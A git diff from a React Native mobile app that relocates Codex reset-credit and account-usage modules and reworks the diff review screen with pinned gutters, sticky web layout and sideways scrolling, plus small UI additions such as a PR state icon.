index 1000e16013e..f8e184c0aa9 100644
--- a/mobile/src/components/codex-reset-credit-capability.ts
+++ b/mobile/src/accounts/usage/codex-reset-credit-capability.ts
@@ -1,10 +1,7 @@
 import { useEffect, useState } from 'react'
-import { CODEX_RESET_CREDIT_RUNTIME_CAPABILITY } from '../../../src/shared/account-runtime-capabilities'
-import type { RpcClient } from '../transport/rpc/rpc-client-contract'
-import { startRuntimeCapabilityProbe } from '../transport/connection/runtime-capability-probe'
-
-// Use shared capability constant so host/mobile versions cannot silently drift.
-export const MOBILE_CODEX_RESET_CREDIT_CAPABILITY = CODEX_RESET_CREDIT_RUNTIME_CAPABILITY
+import { CODEX_RESET_CREDIT_RUNTIME_CAPABILITY } from '../../../../src/shared/account-runtime-capabilities'
+import type { RpcClient } from '../../transport/rpc/rpc-client-contract'
+import { startRuntimeCapabilityProbe } from '../../transport/connection/runtime-capability-probe'
 
 export function useCodexResetCreditCapability(
   client: RpcClient | null,
@@ -18,7 +15,7 @@ export function useCodexResetCreditCapability(
       return
     }
     return startRuntimeCapabilityProbe(client, (capabilities) => {
-      setSupported(capabilities.includes(MOBILE_CODEX_RESET_CREDIT_CAPABILITY))
+      setSupported(capabilities.includes(CODEX_RESET_CREDIT_RUNTIME_CAPABILITY))
     })
   }, [client, connected])
 
diff --git a/mobile/src/components/codex-reset-credit-consume-operations.ts b/mobile/src/accounts/usage/codex-reset-credit-consume-operations.ts
similarity index 91%
rename from mobile/src/components/codex-reset-credit-consume-operations.ts
rename to mobile/src/accounts/usage/codex-reset-credit-consume-operations.ts
index ef3c719fd7b..2f7c685034d 100644
--- a/mobile/src/components/codex-reset-credit-consume-operations.ts
+++ b/mobile/src/accounts/usage/codex-reset-credit-consume-operations.ts
@@ -1,5 +1,5 @@
-import { bindDeferredRpcOperation, defineRpcOperation } from '../transport/rpc/rpc-operation'
-import { rpcResultVariant } from '../transport/rpc/rpc-operation-result-reader'
+import { bindDeferredRpcOperation, defineRpcOperation } from '../../transport/rpc/rpc-operation'
+import { rpcResultVariant } from '../../transport/rpc/rpc-operation-result-reader'
 import { codexResetCreditReplySchema } from './codex-reset-credit-reply-schema'
 
 // Use require-result-or-throw-message so confirm shows host sentence. Keep payload opaque: call-site decodeResetResult alone checks attempt scope/snapshot.
diff --git a/mobile/src/components/codex-reset-credit-reply-schema.ts b/mobile/src/accounts/usage/codex-reset-credit-reply-schema.ts
similarity index 100%
rename from mobile/src/components/codex-reset-credit-reply-schema.ts
rename to mobile/src/accounts/usage/codex-reset-credit-reply-schema.ts
diff --git a/mobile/src/components/codex-reset-credit.ts b/mobile/src/accounts/usage/codex-reset-credit.ts
similarity index 98%
rename from mobile/src/components/codex-reset-credit.ts
rename to mobile/src/accounts/usage/codex-reset-credit.ts
index 47bf70bfcad..fced6e3117c 100644
--- a/mobile/src/components/codex-reset-credit.ts
+++ b/mobile/src/accounts/usage/codex-reset-credit.ts
@@ -1,20 +1,20 @@
 import {
   buildCodexResetCreditExpectedScope,
   type CodexResetCreditExpectedScope
-} from '../../../src/shared/codex-reset-credit-scope'
+} from '../../../../src/shared/codex-reset-credit-scope'
 import {
   codexResetCreditConsume,
   type MobileCodexResetCreditRpcSender,
   type MobileCodexResetCreditSendScope
 } from './codex-reset-credit-consume-operations'
 import { CodexResetCreditExpectedScopeSchema } from './codex-reset-credit-reply-schema'
-import { randomV4Uuid } from '../platform/random-v4-uuid'
-import { translate } from '../i18n/mobile-i18n'
+import { randomV4Uuid } from '../../platform/random-v4-uuid'
+import { translate } from '../../i18n/mobile-i18n'
 import {
   decodeAccountsSnapshot,
   type AccountsSnapshot,
   type ProviderRateLimits
-} from './accounts-snapshot'
+} from '../accounts-snapshot'
 
 export type CodexResetCreditOutcome = 'reset' | 'nothingToReset' | 'noCredit' | 'alreadyRedeemed'
 
diff --git a/mobile/src/components/account-usage-state.ts b/mobile/src/accounts/usage/usage-selectors.ts
similarity index 83%
rename from mobile/src/components/account-usage-state.ts
rename to mobile/src/accounts/usage/usage-selectors.ts
index 23d4c02485c..f0f3b6d3311 100644
--- a/mobile/src/components/account-usage-state.ts
+++ b/mobile/src/accounts/usage/usage-selectors.ts
@@ -1,29 +1,13 @@
 // Keep shapes aligned with shared types/rate-limit-types without pulling Electron-coupled desktop graph into mobile.
-// Pure RN-free selectors stay directly testable; AccountUsage re-exports them with UsageBar.
-import { formatResetCountdown } from '../../../src/shared/rate-limit-reset-format'
-import { hasUsageData } from '../../../src/shared/usage-provider-windows'
+import { formatResetCountdown } from '../../../../src/shared/rate-limit-reset-format'
+import { hasUsageData } from '../../../../src/shared/usage-provider-windows'
 import {
   ProviderRateLimitsSchema,
   type AccountsSnapshot,
   type InactiveAccountUsage,
   type ProviderRateLimits,
   type RateLimitWindow
-} from './accounts-snapshot'
-
-export {
-  AccountsSnapshotSchema,
-  decodeAccountsSnapshot,
-  ProviderRateLimitsSchema,
-  RateLimitRuntimeTargetSchema,
-  type AccountProviderRateLimits,
-  type AccountsSnapshot,
-  type ClaudeAccountSummary,
-  type CodexAccountSummary,
-  type InactiveAccountUsage,
-  type ProviderRateLimits,
-  type RateLimitRuntimeTarget,
-  type RateLimitWindow
-} from './accounts-snapshot'
+} from '../accounts-snapshot'
 
 export type ProviderKey = 'claude' | 'codex'
 
diff --git a/mobile/src/components/use-codex-reset-credit-action.ts b/mobile/src/accounts/usage/use-codex-reset-credit-action.ts
similarity index 93%
rename from mobile/src/components/use-codex-reset-credit-action.ts
rename to mobile/src/accounts/usage/use-codex-reset-credit-action.ts
index cb0dbcda7f8..4e33f0e9afc 100644
--- a/mobile/src/components/use-codex-reset-credit-action.ts
+++ b/mobile/src/accounts/usage/use-codex-reset-credit-action.ts
@@ -1,10 +1,10 @@
 import { useCallback, useMemo, useRef, useState } from 'react'
-import type { CodexResetCreditExpectedScope } from '../../../src/shared/codex-reset-credit-scope'
-import type { RpcClient } from '../transport/rpc/rpc-client-contract'
-import { translate } from '../i18n/mobile-i18n'
-import type { Translate } from '../i18n/mobile-i18n'
-import { useMobileTranslation } from '../i18n/use-mobile-translation'
-import type { AccountsSnapshot } from './account-usage-state'
+import type { CodexResetCreditExpectedScope } from '../../../../src/shared/codex-reset-credit-scope'
+import type { RpcClient } from '../../transport/rpc/rpc-client-contract'
+import { translate } from '../../i18n/mobile-i18n'
+import type { Translate } from '../../i18n/mobile-i18n'
+import { useMobileTranslation } from '../../i18n/use-mobile-translation'
+import type { AccountsSnapshot } from '../accounts-snapshot'
 import {
   getCodexResetCreditOutcomeCopy,
   getCodexResetCreditScope,
diff --git a/mobile/src/accounts/use-mobile-accounts-snapshot.ts b/mobile/src/accounts/use-mobile-accounts-snapshot.ts
index d4370bb5310..d14fb47b4b9 100644
--- a/mobile/src/accounts/use-mobile-accounts-snapshot.ts
+++ b/mobile/src/accounts/use-mobile-accounts-snapshot.ts
@@ -1,7 +1,7 @@
 import { useCallback, useEffect, useMemo, useState } from 'react'
 import { hashKey, useQuery, useQueryClient } from '@tanstack/react-query'
-import { AccountsSnapshotError, decodeAccountsSnapshot } from '../components/accounts-snapshot'
-import type { AccountsSnapshot } from '../components/AccountUsage'
+import { AccountsSnapshotError, decodeAccountsSnapshot } from './accounts-snapshot'
+import type { AccountsSnapshot } from './accounts-snapshot'
 import { useMobileTranslation } from '../i18n/use-mobile-translation'
 import { holdsRestoredHostQueryData } from '../query/host-query-persistence'
 import type { ConnectionState } from '../transport/connection/connection-state'
diff --git a/mobile/src/agents/agent-list-row-text.ts b/mobile/src/agents/agent-list-row-text.ts
index 194a77e7616..c3e9d8ef8b7 100644
--- a/mobile/src/agents/agent-list-row-text.ts
+++ b/mobile/src/agents/agent-list-row-text.ts
@@ -21,14 +21,7 @@ function oneLine(text: string | null | undefined): string {
   return text?.replace(/\s+/g, ' ').trim() ?? ''
 }
 
-// A worktree agent row or a session tab's AgentStatusEntry, which leaves these optional.
-type AgentPreviewSource = Pick<RuntimeWorktreeAgentRow, 'prompt'> & {
-  lastAssistantMessage?: string | null
-  toolName?: string | null
-  toolInput?: string | null
-}
-
-function lastMessage(agent: AgentPreviewSource): string {
+function lastMessage(agent: RuntimeWorktreeAgentRow): string {
   const message = agent.lastAssistantMessage
   return message ? oneLine(withoutNativeChatVisualDirectiveLines(message)) : ''
 }
@@ -38,7 +31,7 @@ function lastMessage(agent: AgentPreviewSource): string {
  * (`group` null) shows no tool, since the tool call is long over.
  */
 export function agentListPreview(
-  agent: AgentPreviewSource,
+  agent: RuntimeWorktreeAgentRow,
   group: AgentStatusGroup | null,
   title: string
 ): string {
diff --git a/mobile/src/components/ActionSheetModal.tsx b/mobile/src/components/ActionSheetModal.tsx
index 774adcc3c40..49a25ebbc78 100644
--- a/mobile/src/components/ActionSheetModal.tsx
+++ b/mobile/src/components/ActionSheetModal.tsx
@@ -15,6 +15,8 @@ export type ActionSheetAction = {
   destructive?: boolean
   disabled?: boolean
   hint?: string
+  /** Short trailing state, e.g. "↑2" or "Up to date". */
+  status?: string
   /** Marks the choice that is current, as a trailing check. */
   checked?: boolean
   loading?: boolean
@@ -77,6 +79,7 @@ export function ActionSheetContent({ title, message, children, actions, onClose
               key={action.id ?? action.label}
               title={action.label}
               subtitle={action.hint}
+              value={action.status}
               leading={
                 action.renderIcon?.() ?? (
                   <Icon
diff --git a/mobile/src/components/MobileDiffReviewLine.tsx b/mobile/src/components/MobileDiffReviewLine.tsx
index 0bd1bbf872e..27cbb73605a 100644
--- a/mobile/src/components/MobileDiffReviewLine.tsx
+++ b/mobile/src/components/MobileDiffReviewLine.tsx
@@ -1,5 +1,5 @@
 import { memo } from 'react'
-import { Pressable, StyleSheet, Text, View } from 'react-native'
+import { Platform, Pressable, Text, View, type ViewStyle } from 'react-native'
 import { MessageSquare } from 'lucide-react-native'
 import type { Translate } from '../i18n/mobile-i18n'
 import { useMobileTranslation } from '../i18n/use-mobile-translation'
@@ -7,7 +7,7 @@ import type { DiffComment } from '../../../src/shared/diff-comment-types'
 import type { MobileDiffLine } from '../source-control/review/mobile-diff-lines'
 import type { MobileHighlightedDiffLine } from '../files/session-documents/mobile-file-syntax'
 import { mobileDiffLineNumber, mobileDiffLinePrefix } from '../source-control/mobile-diff-format'
-import { colors, spacing, typography } from '../theme/mobile-theme'
+import { colors, typography } from '../theme/mobile-theme'
 import { themedStyleSheet } from '../theme/themed-styles'
 import { useMobileColorScheme } from '../theme/use-mobile-color-scheme'
 import { MobileSyntaxSegments } from './MobileSyntaxSegments'
@@ -21,6 +21,8 @@ type Props = {
   staleCommentIds: ReadonlySet<string>
   /** Part of the lines picked for a note. */
   selected?: boolean
+  /** Fits the file's longest line number, so every row's gutter lines up. */
+  numberWidth: number
   /** Absent where lines take no notes, e.g. a past commit's files. */
   onAddNote?: (lineNumber: number) => void
   onEditNote: (comment: DiffComment) => void
@@ -52,6 +54,7 @@ export const MobileDiffReviewLine = memo(function MobileDiffReviewLine({
   comments,
   staleCommentIds,
   selected = false,
+  numberWidth,
   onAddNote,
   onEditNote
 }: Props) {
@@ -59,23 +62,45 @@ export const MobileDiffReviewLine = memo(function MobileDiffReviewLine({
   useMobileColorScheme()
   const lineNumber = mobileDiffLineNumber(line)
   const canComment = onAddNote !== undefined && canCommentOnLine(line)
+  const ground = [
+    line.kind === 'add' && styles.addedRow,
+    line.kind === 'delete' && styles.deletedRow,
+    selected && styles.selectedRow
+  ]
 
   return (
     <View
-      style={[
-        styles.row,
-        line.kind === 'add' && styles.addedRow,
-        line.kind === 'delete' && styles.deletedRow,
-        selected && styles.selectedRow
-      ]}
+      style={[styles.row, ...ground]}
       accessible
       accessibilityLabel={accessibilityLabelForLine(line, t)}
       {...(canComment && line.newLineNumber !== undefined
         ? { nativeID: `${DIFF_LINE_ID_PREFIX}${line.newLineNumber}` }
         : {})}
     >
-      <Text style={styles.prefix}>{mobileDiffLinePrefix(line.kind)}</Text>
-      <Text style={styles.lineNumber}>{lineNumber ? String(lineNumber) : ''}</Text>
+      {/* Pinned while the file scrolls sideways, so it repaints the row's tint over an opaque ground. */}
+      <View style={[styles.pinned, styles.pinnedLeft]}>
+        <View style={[styles.gutter, ...ground]}>
+          <Text
+            style={[
+              styles.lineNumber,
+              { width: numberWidth },
+              line.kind === 'add' && styles.addedNumber,
+              line.kind === 'delete' && styles.deletedNumber
+            ]}
+          >
+            {lineNumber ? String(lineNumber) : ''}
+          </Text>
+          <Text
+            style={[
+              styles.sign,
+              line.kind === 'add' && styles.addedSign,
+              line.kind === 'delete' && styles.deletedSign
+            ]}
+          >
+            {mobileDiffLinePrefix(line.kind)}
+          </Text>
+        </View>
+      </View>
       <Pressable
         style={({ pressed }) => [styles.code, pressed && canComment && styles.codePressed]}
         disabled={!canComment}
@@ -98,41 +123,83 @@ export const MobileDiffReviewLine = memo(function MobileDiffReviewLine({
         </Text>
       </Pressable>
       {comments.length > 0 ? (
-        <View style={styles.notes}>
-          {comments.map((comment) => (
-            <Pressable
-              key={comment.id}
-              style={({ pressed }) => [styles.noteButton, pressed && styles.noteButtonPressed]}
-              onPress={() => onEditNote(comment)}
-              accessibilityRole="button"
-              accessibilityLabel={t(
-                'components.diffReviewLine.editNoteOnLine',
-                'Edit note on line {{number}}',
-                {
-                  number: comment.lineNumber
-                }
-              )}
-            >
-              <MessageSquare
-                size={13}
-                color={staleCommentIds.has(comment.id) ? colors.statusAmber : colors.textSecondary}
-                strokeWidth={2}
-              />
-            </Pressable>
-          ))}
+        <View style={[styles.pinned, styles.pinnedRight]}>
+          <View style={[styles.notes, ...ground]}>
+            {comments.map((comment) => (
+              <Pressable
+                key={comment.id}
+                style={({ pressed }) => [styles.noteButton, pressed && styles.noteButtonPressed]}
+                onPress={() => onEditNote(comment)}
+                accessibilityRole="button"
+                accessibilityLabel={t(
+                  'components.diffReviewLine.editNoteOnLine',
+                  'Edit note on line {{number}}',
+                  {
+                    number: comment.lineNumber
+                  }
+                )}
+              >
+                <MessageSquare
+                  size={13}
+                  color={
+                    staleCommentIds.has(comment.id) ? colors.statusAmber : colors.textSecondary
+                  }
+                  strokeWidth={2}
+                />
+              </Pressable>
+            ))}
+          </View>
         </View>
       ) : null}
     </View>
   )
 })
 
+/** Renders one code line's worth of a known string, so the list can size its columns to the code font. */
+export function MobileDiffReviewCharWidthProbe({
+  onCharWidth
+}: {
+  onCharWidth: (width: number) => void
+}) {
+  return (
+    <Text
+      aria-hidden
+      style={[styles.codeText, styles.probe]}
+      onLayout={(event) => onCharWidth(event.nativeEvent.layout.width / PROBE_TEXT.length)}
+    >
+      {PROBE_TEXT}
+    </Text>
+  )
+}
+
+const PROBE_TEXT = '0'.repeat(100)
+const SIGN_WIDTH = 14
+// Room either side of the line number.
+const NUMBER_PADDING = 12
+
+export function mobileDiffReviewGutterWidth(numberWidth: number): number {
+  return numberWidth + SIGN_WIDTH
+}
+
+export function mobileDiffReviewNumberWidth(digits: number, charWidth: number): number {
+  return Math.ceil(digits * charWidth + NUMBER_PADDING)
+}
+
+// The page lets long lines run and the file scroll sideways under pinned cells (Kelvin's choice over wrapping).
+const webPinned: ViewStyle =
+  Platform.OS === 'web'
+    ? {
+        // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: RN Web renders CSS sticky; this branch never reaches native.
+        position: 'sticky' as ViewStyle['position'],
+        zIndex: 1
+      }
+    : {}
+
 // Use 18px lineHeight alone without padding/minHeight to match desktop diff density (STA-1239).
 const styles = themedStyleSheet(() => ({
   row: {
     flexDirection: 'row',
-    alignItems: 'stretch',
-    borderBottomWidth: StyleSheet.hairlineWidth,
-    borderBottomColor: colors.borderSubtle
+    alignItems: 'stretch'
   },
   addedRow: {
     backgroundColor: colors.diffAddedBg
@@ -144,38 +211,71 @@ const styles = themedStyleSheet(() => ({
   selectedRow: {
     backgroundColor: colors.skillTokenSurface
   },
-  prefix: {
-    width: 18,
-    textAlign: 'center',
-    color: colors.textMuted,
+  pinned: {
+    ...webPinned,
+    backgroundColor: colors.bgBase
+  },
+  pinnedLeft: {
+    left: 0
+  },
+  pinnedRight: {
+    right: 0
+  },
+  gutter: {
+    flex: 1,
+    flexDirection: 'row'
+  },
+  lineNumber: {
+    paddingRight: 6,
+    textAlign: 'right',
+    color: colors.diffLineNumber,
     fontFamily: typography.monoFamily,
     fontSize: typography.metaSize,
     lineHeight: 18
   },
-  lineNumber: {
-    width: 44,
-    paddingRight: spacing.xs,
-    textAlign: 'right',
-    color: colors.textMuted,
+  addedNumber: {
+    color: colors.textPrimary,
+    backgroundColor: colors.diffAddedGutter
+  },
+  deletedNumber: {
+    color: colors.textPrimary,
+    backgroundColor: colors.diffDeletedGutter
+  },
+  sign: {
+    width: SIGN_WIDTH,
+    textAlign: 'center',
+    color: colors.diffLineNumber,
     fontFamily: typography.monoFamily,
     fontSize: typography.metaSize,
     lineHeight: 18
   },
+  addedSign: {
+    color: colors.diffAddedSign
+  },
+  deletedSign: {
+    color: colors.diffDeletedSign
+  },
   code: {
     flex: 1,
     minWidth: 0,
-    paddingHorizontal: spacing.sm
+    paddingRight: 10
   },
   codePressed: {
     backgroundColor: colors.bgRaised
   },
   codeText: {
+    ...(Platform.OS === 'web' ? { whiteSpace: 'pre' as const } : {}),
     color: colors.textPrimary,
     fontFamily: typography.monoFamily,
     fontSize: 12,
     lineHeight: 18
   },
+  probe: {
+    position: 'absolute',
+    opacity: 0
+  },
   notes: {
+    flex: 1,
     width: 40,
     alignItems: 'center',
     justifyContent: 'center',
diff --git a/mobile/src/components/MobileDiffReviewLines.tsx b/mobile/src/components/MobileDiffReviewLines.tsx
index 04ddb7398eb..09fb1e9d3f3 100644
--- a/mobile/src/components/MobileDiffReviewLines.tsx
+++ b/mobile/src/components/MobileDiffReviewLines.tsx
@@ -1,11 +1,17 @@
 import { useCallback, useEffect, useMemo, useRef, useState } from 'react'
-import { FlatList, Platform, Pressable, Text, View } from 'react-native'
+import { FlatList, Platform, Pressable, Text, View, type ViewStyle } from 'react-native'
 import { Gesture, GestureDetector } from 'react-native-gesture-handler'
-import { ChevronsUpDown } from 'lucide-react-native'
+import { UnfoldVertical } from 'lucide-react-native'
 import type { DiffComment } from '../../../src/shared/diff-comment-types'
 import { useMobileColorScheme } from '../theme/use-mobile-color-scheme'
 import { useMobileTranslation } from '../i18n/use-mobile-translation'
-import { DIFF_LINE_ID_PREFIX, MobileDiffReviewLine } from './MobileDiffReviewLine'
+import {
+  DIFF_LINE_ID_PREFIX,
+  MobileDiffReviewCharWidthProbe,
+  MobileDiffReviewLine,
+  mobileDiffReviewGutterWidth,
+  mobileDiffReviewNumberWidth
+} from './MobileDiffReviewLine'
 import type { ReviewDiffLine } from '../source-control/review/mobile-diff-review-screen-model'
 import {
   buildMobileDiffReviewRows,
@@ -25,6 +31,18 @@ const RANGE_PICK_LONG_PRESS_MS = 350
 const MAX_SCROLL_ATTEMPTS = 10
 const NO_LINE_NOTES: readonly DiffComment[] = []
 const SCROLL_RETRY_MS = 100
+// The page's default tab-size, so a tabbed line's width matches what it draws.
+const TAB_COLUMNS = 8
+const CODE_END_PADDING = 10
+const NOTES_WIDTH = 40
+
+function lineColumns(text: string): number {
+  let columns = 0
+  for (const char of text) {
+    columns = char === '\t' ? (Math.floor(columns / TAB_COLUMNS) + 1) * TAB_COLUMNS : columns + 1
+  }
+  return columns
+}
 
 export type LineRange = { startLine: number; line: number }
 
@@ -77,6 +95,44 @@ export function MobileDiffReviewLines({
     setOpened({ lines, indexes: next })
   }
 
+  // Long lines run on one line and the whole file scrolls sideways, so every row is as wide as the longest.
+  const [charWidth, setCharWidth] = useState(0)
+  const [viewportWidth, setViewportWidth] = useState(0)
+  const { numberWidth, codeColumns } = useMemo(() => {
+    let digits = 1
+    let columns = 0
+    for (const line of lines) {
+      digits = Math.max(digits, String(line.newLineNumber ?? line.oldLineNumber ?? '').length)
+      columns = Math.max(columns, lineColumns(line.text))
+    }
+    return { numberWidth: mobileDiffReviewNumberWidth(digits, charWidth), codeColumns: columns }
+  }, [charWidth, lines])
+  const gutterWidth = mobileDiffReviewGutterWidth(numberWidth)
+  const rowFrame: ViewStyle =
+    Platform.OS === 'web' && charWidth > 0
+      ? {
+          width: Math.max(
+            viewportWidth,
+            Math.ceil(
+              gutterWidth +
+                codeColumns * charWidth +
+                CODE_END_PADDING +
+                (commentsByLine.size > 0 ? NOTES_WIDTH : 0)
+            )
+          )
+        }
+      : {}
+  // Folds, threads and the footer hold still in the viewport while the code slides under them.
+  const viewportRow: ViewStyle =
+    Platform.OS === 'web' && viewportWidth > 0
+      ? {
+          // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: RN Web renders CSS sticky; this branch never reaches native.
+          position: 'sticky' as ViewStyle['position'],
+          left: 0,
+          width: viewportWidth
+        }
+      : {}
+
   const listRef = useRef<FlatList<MobileDiffReviewRow<ReviewDiffLine>>>(null)
   const scrollFailedRef = useRef(false)
   const [scrollAttempt, setScrollAttempt] = useState(0)
@@ -204,10 +260,16 @@ export function MobileDiffReviewLines({
 
   return (
     <GestureDetector gesture={pick}>
-      <View ref={frameRef} style={styles.diffListFrame}>
+      <View
+        ref={frameRef}
+        style={styles.diffListFrame}
+        onLayout={(event) => setViewportWidth(event.nativeEvent.layout.width)}
+      >
+        <MobileDiffReviewCharWidthProbe onCharWidth={setCharWidth} />
         <FlatList<MobileDiffReviewRow<ReviewDiffLine>>
           ref={listRef}
           data={rows}
+          style={styles.diffList}
           // The list holds still while lines are being picked, so the drag selects instead of scrolling.
           scrollEnabled={dragRange === null}
           onScrollToIndexFailed={(info) => {
@@ -218,60 +280,77 @@ export function MobileDiffReviewLines({
             })
           }}
           keyExtractor={(row) => row.key}
-          renderItem={({ item: row }) =>
-            row.kind === 'fold' ? (
-              <Pressable
-                style={({ pressed }) => [styles.foldRow, pressed && styles.buttonPressed]}
-                onPress={() => openFold(row.startIndex, row.endIndex)}
-                accessibilityRole="button"
-                accessibilityLabel={t(
-                  'components.diffReviewBody.showUnchangedLines',
-                  'Show {{count}} unchanged lines',
-                  { count: row.hiddenCount }
-                )}
-              >
-                <ChevronsUpDown size={13} color={colors.textMuted} strokeWidth={2.2} />
-                <Text style={styles.foldText}>
-                  {row.hiddenCount === 1
-                    ? t(
-                        'components.diffReviewBody.unchangedLines_one',
-                        '{{count}} unchanged line',
-                        {
-                          count: row.hiddenCount
-                        }
-                      )
-                    : t(
-                        'components.diffReviewBody.unchangedLines_other',
-                        '{{count}} unchanged lines',
-                        { count: row.hiddenCount }
-                      )}
-                </Text>
-              </Pressable>
-            ) : row.kind === 'thread' ? (
-              <View style={styles.threadRow}>
-                <CommentGroupView group={row.thread} actions={threadActions} now={now} />
-              </View>
-            ) : (
-              <MobileDiffReviewLine
-                line={row.line}
-                comments={commentsByLine.get(row.line.newLineNumber ?? -1) ?? NO_LINE_NOTES}
-                staleCommentIds={staleCommentIds}
-                selected={
-                  highlighted !== null &&
-                  row.line.kind !== 'delete' &&
-                  row.line.newLineNumber !== undefined &&
-                  row.line.newLineNumber >= highlighted.startLine &&
-                  row.line.newLineNumber <= highlighted.line
-                }
-                {...(onPickLines ? { onAddNote: pickOneLine } : {})}
-                onEditNote={onEditNote}
-              />
-            )
-          }
-          contentContainerStyle={styles.diffList}
+          renderItem={({ item: row }) => (
+            <View style={rowFrame}>
+              {row.kind === 'fold' ? (
+                <Pressable
+                  style={({ pressed }) => [
+                    styles.foldRow,
+                    viewportRow,
+                    pressed && styles.buttonPressed
+                  ]}
+                  onPress={() => openFold(row.startIndex, row.endIndex)}
+                  accessibilityRole="button"
+                  accessibilityLabel={t(
+                    'components.diffReviewBody.showUnchangedLines',
+                    'Show {{count}} unchanged lines',
+                    { count: row.hiddenCount }
+                  )}
+                >
+                  <View style={[styles.foldIcon, { width: gutterWidth }]}>
+                    <UnfoldVertical size={14} color={colors.diffFoldText} strokeWidth={2} />
+                  </View>
+                  <View style={styles.foldBody}>
+                    <Text style={styles.foldText}>
+                      {row.hiddenCount === 1
+                        ? t(
+                            'components.diffReviewBody.unchangedLines_one',
+                            '{{count}} unchanged line',
+                            {
+                              count: row.hiddenCount
+                            }
+                          )
+                        : t(
+                            'components.diffReviewBody.unchangedLines_other',
+                            '{{count}} unchanged lines',
+                            { count: row.hiddenCount }
+                          )}
+                    </Text>
+                    {row.enclosingLine ? (
+                      <Text style={styles.foldContext} numberOfLines={1}>
+                        {row.enclosingLine}
+                      </Text>
+                    ) : null}
+                  </View>
+                </Pressable>
+              ) : row.kind === 'thread' ? (
+                <View style={[styles.threadRow, viewportRow]}>
+                  <CommentGroupView group={row.thread} actions={threadActions} now={now} />
+                </View>
+              ) : (
+                <MobileDiffReviewLine
+                  line={row.line}
+                  comments={commentsByLine.get(row.line.newLineNumber ?? -1) ?? NO_LINE_NOTES}
+                  staleCommentIds={staleCommentIds}
+                  numberWidth={numberWidth}
+                  selected={
+                    highlighted !== null &&
+                    row.line.kind !== 'delete' &&
+                    row.line.newLineNumber !== undefined &&
+                    row.line.newLineNumber >= highlighted.startLine &&
+                    row.line.newLineNumber <= highlighted.line
+                  }
+                  {...(onPickLines ? { onAddNote: pickOneLine } : {})}
+                  onEditNote={onEditNote}
+                />
+              )}
+            </View>
+          )}
+          contentContainerStyle={styles.diffListContent}
+          ListFooterComponentStyle={rowFrame}
           ListFooterComponent={
             truncated ? (
-              <Text style={styles.truncatedText}>
+              <Text style={[styles.truncatedText, viewportRow]}>
                 {t('components.diffReviewBody.diffTruncated', 'Diff truncated for mobile preview.')}
               </Text>
             ) : null
diff --git a/mobile/src/components/MobilePRSidebar.tsx b/mobile/src/components/MobilePRSidebar.tsx
index 433f909e6f3..c264d0281e4 100644
--- a/mobile/src/components/MobilePRSidebar.tsx
+++ b/mobile/src/components/MobilePRSidebar.tsx
@@ -24,6 +24,7 @@ import { useNow } from '../hooks/use-now'
 import { commentRelativeTime } from './pr-sidebar/pr-comment-relative-time'
 import { prStateBadge } from './pr-sidebar/pr-checks-presentation'
 import { statusColor } from './pr-sidebar/pr-sidebar-status-color'
+import { PrStateIcon } from './PrStateIcon'
 import { PrTabEmptyState } from './pr-sidebar/PrTabEmptyState'
 import { PrChangesCard, PrDescription } from './pr-sidebar/PrTabOverviewCards'
 import { PrTabBottomAction } from './pr-sidebar/PrTabBottomAction'
@@ -231,6 +232,7 @@ function PrTabHeader({ data }: { data: PrSidebarData }) {
     <View style={styles.header}>
       <View style={styles.metaRow}>
         <View style={[styles.badge, { borderColor: badgeColor }]}>
+          <PrStateIcon state={pr.state} size={12} color={badgeColor} strokeWidth={2.2} />
           <Text style={[styles.badgeText, { color: badgeColor }]}>{badge.label}</Text>
         </View>
         <Text style={styles.number}>#{pr.number}</Text>
diff --git a/mobile/src/components/MobileSyntaxSegments.tsx b/mobile/src/components/MobileSyntaxSegments.tsx
index b768a2be8e7..9f06e26fa39 100644
--- a/mobile/src/components/MobileSyntaxSegments.tsx
+++ b/mobile/src/components/MobileSyntaxSegments.tsx
@@ -47,5 +47,8 @@ const syntaxTokenStyles: Record<MobileSyntaxTokenKind, TextStyle> = themedStyleS
   },
   meta: {
     color: colors.syntaxMeta
+  },
+  tag: {
+    color: colors.syntaxTag
   }
 }))
diff --git a/mobile/src/components/PrStateIcon.tsx b/mobile/src/components/PrStateIcon.tsx
new file mode 100644
index 00000000000..3eb44c4d943
--- /dev/null
+++ b/mobile/src/components/PrStateIcon.tsx
@@ -0,0 +1,7 @@
+import { createElement } from 'react'
+import type { LucideProps } from 'lucide-react-native'
+import { prStateIcon } from './pr-state-token'
+
+export function PrStateIcon({ state, ...props }: { state: string } & LucideProps) {
+  return createElement(prStateIcon(state), props)
+}
diff --git a/mobile/src/components/SwipeRowActions.tsx b/mobile/src/components/SwipeRowActions.tsx
index b070de4ff38..704077f636d 100644
--- a/mobile/src/components/SwipeRowActions.tsx
+++ b/mobile/src/components/SwipeRowActions.tsx
@@ -84,8 +84,6 @@ export function SwipeRowActions({
     })
   // Web has no worklet plugin; mapper hooks need this explicit dependency list.
   const rowStyle = useAnimatedStyle(() => ({ transform: [{ translateX: offset.value }] }), [offset])
-  // Hidden at rest, so the action can't show through a rounded group's antialiased corners.
-  const actionsStyle = useAnimatedStyle(() => ({ opacity: offset.value === 0 ? 0 : 1 }), [offset])
   // A tap on an open row closes it rather than pressing the row.
   const guardPress = (onPress: () => void) => () => {
     // The click a drag release produces belongs to the drag, not to the row.
@@ -126,10 +124,8 @@ export function SwipeRowActions({
   }
   return (
     <View>
-      <Animated.View pointerEvents="box-none" style={[styles.actions, actionsStyle]}>
-        {leading ? renderAction(leading, 'leading') : null}
-        {trailing ? renderAction(trailing, 'trailing') : null}
-      </Animated.View>
+      {leading ? renderAction(leading, 'leading') : null}
+      {trailing ? renderAction(trailing, 'trailing') : null}
       {/* pan-y keeps the page scrolling vertically over the row on the web. */}
       <GestureDetector gesture={pan} touchAction="pan-y">
         <Animated.View style={rowStyle}>{children(guardPress)}</Animated.View>
@@ -148,7 +144,6 @@ const styles = themedStyleSheet(() => ({
     justifyContent: 'center',
     gap: 2
   },
-  actions: { position: 'absolute', top: 0, right: 0, bottom: 0, left: 0 },
   leading: { left: 0 },
   trailing: { right: 0 },
   actionPressed: { opacity: feedback.pressedOpacity },
diff --git a/mobile/src/components/WorktreeListRow.tsx b/mobile/src/components/WorktreeListRow.tsx
index 73627d48a4b..10207f88ba5 100644
--- a/mobile/src/components/WorktreeListRow.tsx
+++ b/mobile/src/components/WorktreeListRow.tsx
@@ -1,5 +1,5 @@
 import { memo } from 'react'
-import { Bell, ChevronDown, ChevronRight, GitBranch, GitPullRequest } from 'lucide-react-native'
+import { Bell, ChevronDown, ChevronRight, GitBranch } from 'lucide-react-native'
 import { Pressable, StyleSheet, Text, View } from 'react-native'
